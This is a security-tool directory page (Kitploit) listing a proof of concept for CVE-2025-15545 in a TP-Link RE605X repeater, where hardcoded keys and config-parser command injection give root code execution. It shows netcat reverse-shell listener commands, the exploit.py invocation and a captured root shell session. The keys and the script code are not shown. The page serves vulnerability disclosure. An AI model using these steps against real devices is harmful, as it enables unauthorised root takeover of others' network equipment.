Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-15545 — Proof of Concept for CVE-2025-15545 | Kitploit
Tools/GitHubGitHub/xernary/cve-2025-15545
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationReverse EngineeringCommand and Control
GitHubxernary/cve-2025-15545

CVE-2025-15545

Proof of Concept for CVE-2025-15545

View Repository
127 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Website

CVE-2025-15545

Information

Vendor: TP-Link
Vendor's website: TP-Link
Model: Archer RE605X
Hardware version: RE605X v3.0
Firmware version: RE605X(EU)_V3_1.1.5 Build 20240905
Firmware download address: TP-Link

A chain of vulnerabilities — including the use of hardcoded cryptographic keys and a command injection in the XML configuration parser component — allows a local authenticated attacker to achieve remote code execution (RCE) as root on the device.

PoC Requirements

Note: The exploit.py proof-of-concept demonstrates a chained attack scenario and relies on credentials from an authenticated user as an additional prerequisite. This authentication step is not covered by CVE-2025-15545 and is included for demonstration purposes only.

  • Both the attacker and the victim must be connected to the repeater’s local network.
  • The victim must be authenticated to the repeater’s web control panel.

Usage

Listen for incoming connections on a separate terminal:

root@kitploit:~
$ nc -lvnp 4444

Execute the exploit.py script:

root@kitploit:~
$ sudo python3 exploit.py <interface> <victim_ip> <repeater_ip> <aes_key> <aes_iv>

Note: aes_key and aes_iv are the hardcoded cryptographic keys used for configuration files encryption and decryption by the device, and are required for this proof of concept. For security issues they cannot be shared here.

The reverse shell is received on the first terminal:

root@kitploit:~
$ nc -lvnp 4444

Connection from 192.168.0.254:42762
# ls
cgi-bin
index-notice.html
index-url.html
index.html
webpages
# id -un
root
# uname -n
OpenWrt

References

These vulnerabilities were reported by Nicola Giuffrida.

  • Complete Writeup: https://nico-security.com/posts/cve-2025-15545
  • CVE Record: https://www.cve.org/cverecord?id=CVE-2025-15545
  • TP-Link Advisory: https://www.tp-link.com/us/support/faq/4929
Download Tool